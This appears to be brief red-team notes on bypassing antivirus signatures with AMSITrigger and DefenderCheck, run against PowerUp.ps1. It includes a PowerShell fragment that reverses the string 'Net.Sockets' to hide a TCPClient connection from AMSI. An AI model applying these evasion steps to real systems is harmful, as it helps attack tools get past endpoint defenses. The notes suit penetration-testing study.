AV Signatures Bypass

AMSITrigger

https://github.com/RythmStick/AMSITrigger/releases

usage

change name for each script first

AmsiTrigger_x64.exe -i PowerUp.ps1 

image.png

or example for bypassing

# Reverse the "Net.Sockets" string

$String = "stekcoS.teN"
$class = ([regex]::Matches($String,'.','RightToLeft') | ForEach {$_.value}) -join ''
if ($Reverse)
{
 $client = New-Object System.$class.TCPClient($IPAddress,$Port)
}

---

Defender Checker

Identify code and strings from a binary / file that Windows Defender may flag

https://github.com/matterpreter/DefenderCheck/tree/masterذ

DefenderCheck.exe PowerUp.ps1